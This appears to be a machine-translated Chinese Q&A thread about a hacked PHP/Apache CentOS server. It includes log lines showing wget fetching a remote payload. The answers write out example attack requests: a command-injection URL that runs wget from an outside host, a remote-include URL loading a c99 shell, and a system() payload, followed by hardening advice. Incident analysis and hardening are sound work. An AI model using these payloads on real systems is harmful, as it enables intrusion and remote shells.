服务器被黑了。 需要帮助寻找如何

我们运行PHP / Apache的一个CentOS盒子最近被黑了。 幸运的是,我们很快就要退出这台服务器,并进行备份等。但是,我需要一些帮助来find黑客能够进入。

从我所搜集的内容看,有些脚本是在apache error_logs中使用apache(也许是PUT?)写入到我们的服务器上的:

[Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php --2010-09-10 12:46:45-- http://208.75.xx.xx/newmax/max.txt Connecting to 208.75.xx.xx:80... connected. HTTP request sent, awaiting response... 200 OK Length: 28975 (28K) [text/plain] Saving to: `max.txt' 0K .......... .......... ........ 100% 184K=0.2s 2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 3 28975 3 1140 0 0 8597 0 0:00:03 --:--:-- 0:00:03 8597^M100 28975 100 28975 0 0 88203 0 --:--:-- --:--:-- --:--:-- 139k sh: lynx: command not found [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php 

(第一行和最后一行只是虚拟错误行,用于指示日志格式和条目之间的奇怪之处)。

任何想法如何apache错误日志将有这种格式,以及它可能已被触发?

当我遇到更多的发现时,我将增加更多这个问题。

我猜想,register_globals已打开,你没有在他们的论坛中的四个补丁运行OSCommerce。 为什么他们拒绝使用补丁更新.zip / .gz文件,我不知道。

我想max.txt可能是c99 shell,并以something.php的forms下载到/ store / imagespath中。 一旦他们能够在浏览器中运行该文件,他们有一个远程shell。

如果您没有运行OSCommerce,请在您的包含文件中查找命中。 即你可能有一个function.php文件,不应该被直接调用,具有:

 exec($path . 'convert blahblah'); 

一个请求被发送:

 hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah 

这使得他们可以将文件写入到可以远程执行的磁盘。 他们也可能在你的代码中使用XSS漏洞来做类似的事情:

 require($webpath . '/functions.lib.php'); 

并通过?webpath = hxxp://c99shell.com/location.txt发送了一个请求? 这给了他们一个远程shell。 一旦他们得到远程shell,他们试图运行wget / lynx(或者上传一个shell脚本来运行一些方法来确保它们的有效载荷已经被安装)

在这种情况下,allow_url_include = off可以提供帮助。

破解服务器的典型方法是这样的:

1)服务器有PHP默认设置运行; 这意味着没有safe_mode,所有的POSIX函数都被允许(比如system())和几个多function但危险的PHP模块(比如curl)被激活

2)服务器具有/ tmp(或任何用于http上传的临时目录)以默认设置装载; 这意味着它允许执行文件。

3)服务器具有/ var / www(或者任何用于webroot的安装点)以默认设置安装; 这意味着它允许执行文件。

4)有一个自制的PHP脚本,inputvalidation很弱/某些CMS或其他安装的软件存在已知的漏洞。

在这样的环境中,攻击者可以通过http上传恶意文件,或者指示服务器从远程服务器上获取恶意文件,然后通过传递一些缺lessinputvalidation的URL参数来运行该脚本。

如果PHP脚本不validationinput,则URL参数(或POST请求)可能包含像<?php system("/tmp/pwn4g3"); ?> <?php system("/tmp/pwn4g3"); ?> 。 业余已经解释了这一点。

所以,要制止这种恶行:

  • 使用noexec标志挂载webroot和PHP临时目录。
  • 如果可能,禁用PHP中的危险函数
  • 如果可能的话,使用PHP的safe_mode(尽pipe远非傻瓜,可能会随着时间的推移彻底删除)。
  • 不允许Apache用户使用gcc,甚至更好,根本不要安装gcc到你的web服务器。
  • 使用mod_security 。
  • 使用suhosin 。
  • 使用php-fpm,suphp或其他技术来运行脚本作为其所有者帐户而不是普通的Apache帐户。
  • 保持你的软件是最新的。